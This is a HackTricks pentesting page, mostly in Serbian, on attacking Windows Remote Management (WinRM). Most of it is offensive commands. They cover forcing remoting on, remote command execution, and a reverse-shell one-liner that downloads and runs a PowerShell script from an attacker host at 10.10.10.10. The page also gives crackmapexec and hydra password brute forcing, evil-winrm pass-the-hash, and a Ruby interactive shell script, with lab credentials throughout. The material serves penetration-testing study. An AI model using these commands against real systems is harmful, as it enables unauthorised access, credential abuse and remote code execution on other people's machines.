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https://github.com/carlospolop/hacktricks
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335 lines
15 KiB
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335 lines
15 KiB
Markdown
# 5985,5986 - Pentesting WinRM
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
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**Hacking Insights**\
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Engage with content that delves into the thrill and challenges of hacking
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**Real-Time Hack News**\
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Keep up-to-date with fast-paced hacking world through real-time news and insights
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**Latest Announcements**\
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Stay informed with the newest bug bounties launching and crucial platform updates
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**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
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## WinRM
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[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) je istaknut kao **protokol od strane Microsoft-a** koji omogućava **daljinsko upravljanje Windows sistemima** putem HTTP(S), koristeći SOAP u tom procesu. Osnovno je pokretan WMI-jem, predstavljajući se kao HTTP-bazirano sučelje za WMI operacije.
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Prisutnost WinRM-a na mašini omogućava jednostavno daljinsko upravljanje putem PowerShell-a, slično načinu na koji SSH funkcioniše za druge operativne sisteme. Da bi se utvrdilo da li je WinRM operativan, preporučuje se provera otvaranja specifičnih portova:
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* **5985/tcp (HTTP)**
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* **5986/tcp (HTTPS)**
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Otvoreni port sa gornje liste označava da je WinRM postavljen, čime se omogućavaju pokušaji započinjanja daljinske sesije.
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### **Pokretanje WinRM Sesije**
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Da bi se konfigurisao PowerShell za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvata daljinske PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande mogu biti izvršene da omoguće ovu funkcionalnost i odrede bilo koji host kao pouzdan:
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```powershell
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Enable-PSRemoting -Force
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Set-Item wsman:\localhost\client\trustedhosts *
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```
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Ovaj pristup uključuje dodavanje džokera u `trustedhosts` konfiguraciju, korak koji zahteva pažljivo razmatranje zbog svojih implikacija. Takođe je napomenuto da bi mogla biti neophodna promena tipa mreže sa "Javna" na "Poslovna" na mašini napadača.
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Pored toga, WinRM se može **aktivirati na daljinu** koristeći `wmic` komandu, što je prikazano na sledeći način:
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```powershell
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wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
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```
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Ova metoda omogućava daljinsko podešavanje WinRM-a, povećavajući fleksibilnost u upravljanju Windows mašinama na daljinu.
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### Testirajte da li je konfigurisan
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Da biste proverili podešavanje vaše napadačke mašine, koristi se komanda `Test-WSMan` da se proveri da li je cilj pravilno konfigurisan za WinRM. Izvršavanjem ove komande, trebali biste očekivati da dobijete detalje o verziji protokola i wsmid-u, što ukazuje na uspešnu konfiguraciju. Ispod su primeri koji prikazuju očekivani izlaz za konfigurisan cilj u poređenju sa nekonfigurisanim:
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* Za cilj koji **je** pravilno konfigurisan, izlaz će izgledati slično ovome:
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```bash
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Test-WSMan <target-ip>
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```
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Odgovor bi trebao sadržati informacije o verziji protokola i wsmid, što označava da je WinRM ispravno podešen.
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.png>)
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* Nasuprot tome, za cilj **koji nije** konfigurisan za WinRM, to bi rezultiralo nedostatkom takvih detaljnih informacija, ističući odsustvo pravilnog WinRM podešavanja.
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.png>)
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### Izvrši komandu
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Da biste izvršili `ipconfig` na daljinu na ciljnog računaru i videli njegov izlaz, uradite:
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```powershell
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Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
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```
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.png>)
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Možete takođe **izvršiti komandu iz vaše trenutne PS konzole putem** _**Invoke-Command**_. Pretpostavimo da imate lokalno funkciju pod nazivom _**enumeration**_ i želite da je **izvršite na udaljenom računaru**, možete to uraditi:
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```powershell
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Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
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```
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### Izvrši skriptu
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```powershell
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Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
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```
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### Dobijanje reverzne ljuske
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```powershell
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Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
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```
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### Dobijanje PS sesije
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Da biste dobili interaktivnu PowerShell ljusku, koristite `Enter-PSSession`:
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```powershell
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#If you need to use different creds
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$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
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## Note the ".\" in the suername to indicate it's a local user (host domain)
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$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
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# Enter
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Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
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## Bypass proxy
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Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
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# Save session in var
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$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
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Enter-PSSession $sess
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## Background current PS session
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Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
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```
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.png>)
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**Sesija će se izvršavati u novom procesu (wsmprovhost) unutar "žrtve"**
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### **Prisiljavanje WinRM-a da se otvori**
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Da biste koristili PS Remoting i WinRM, ali računar nije konfigurisan, možete ga omogućiti sa:
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```powershell
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.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
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```
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### Čuvanje i obnavljanje sesija
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Ovo **neće raditi** ako je **jezik** **ograničen** na udaljenom računaru.
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```powershell
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#If you need to use different creds
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$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
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## Note the ".\" in the suername to indicate it's a local user (host domain)
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$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
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#You can save a session inside a variable
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$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
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#And restore it at any moment doing
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Enter-PSSession -Session $sess1
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```
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Unutar ovih sesija možete učitati PS skripte koristeći _Invoke-Command_
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```powershell
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Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
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```
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### Greške
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Ako pronađete sledeću grešku:
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`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
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Pokušajte na klijentu (informacije [ovde](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
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```ruby
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winrm quickconfig
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winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
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```
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
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**Hacking Insights**\
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Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
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**Real-Time Hack News**\
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Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
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**Latest Announcements**\
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Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
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**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
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## WinRM konekcija u linuxu
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### Brute Force
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Budite oprezni, brute-forcing winrm može blokirati korisnike.
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```ruby
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#Brute force
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crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
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#Just check a pair of credentials
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# Username + Password + CMD command execution
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crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
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# Username + Hash + PS command execution
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crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
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#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
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```
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### Korišćenje evil-winrm
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```ruby
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gem install evil-winrm
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```
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Pročitajte **dokumentaciju** na njegovom github-u: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
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```ruby
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evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
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```
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Da biste koristili evil-winrm za povezivanje na **IPv6 adresu**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **domen** na IPv6 adresu i povežite se na taj domen.
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### Prosledi hash sa evil-winrm
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```ruby
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evil-winrm -u <username> -H <Hash> -i <IP>
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```
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.png>)
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### Korišćenje PS-docker mašine
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```
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docker run -it quickbreach/powershell-ntlm
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$creds = Get-Credential
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Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
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```
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### Korišćenje ruby skripte
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**Kod preuzet odavde:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
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```ruby
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require 'winrm-fs'
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# Author: Alamot
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# To upload a file type: UPLOAD local_path remote_path
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# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
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# https://alamot.github.io/winrm_shell/
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conn = WinRM::Connection.new(
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endpoint: 'https://IP:PORT/wsman',
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transport: :ssl,
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user: 'username',
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password: 'password',
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:no_ssl_peer_verification => true
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)
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class String
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def tokenize
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self.
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split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
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select {|s| not s.empty? }.
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map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
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end
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end
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command=""
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file_manager = WinRM::FS::FileManager.new(conn)
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conn.shell(:powershell) do |shell|
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until command == "exit\n" do
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output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
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print(output.output.chomp)
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command = gets
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if command.start_with?('UPLOAD') then
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upload_command = command.tokenize
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print("Uploading " + upload_command[1] + " to " + upload_command[2])
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file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
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puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
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end
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command = "echo `nOK`n"
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end
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output = shell.run(command) do |stdout, stderr|
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STDOUT.print(stdout)
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STDERR.print(stderr)
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end
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end
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puts("Exiting with code #{output.exitcode}")
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end
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```
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## Shodan
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* `port:5985 Microsoft-HTTPAPI`
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## References
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* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
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## HackTricks Automatske Komande
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```
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Protocol_Name: WinRM #Protocol Abbreviation if there is one.
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Port_Number: 5985 #Comma separated if there is more than one.
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Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
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Description: Notes for WinRM
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Note: |
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Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
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sudo gem install winrm winrm-fs colorize stringio
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git clone https://github.com/Hackplayers/evil-winrm.git
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cd evil-winrm
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ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
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https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
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ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
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^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
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menu
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invoke-binary `tab`
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#python3
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import winrm
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s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
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print(s.run_cmd('ipconfig'))
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print(s.run_ps('ipconfig'))
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https://book.hacktricks.xyz/pentesting/pentesting-winrm
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Entry_2:
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Name: Hydra Brute Force
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Description: Need User
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Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
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```
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<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
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||
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Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||
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**Uvidi u Hacking**\
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||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
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**Vesti o Hacking-u u Realnom Vremenu**\
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||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||
|
||
**Najnovija Obaveštenja**\
|
||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
|
||
|
||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
{% hint style="success" %}
|
||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
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||
<details>
|
||
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||
<summary>Podrška HackTricks</summary>
|
||
|
||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
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||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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||
|
||
</details>
|
||
{% endhint %}
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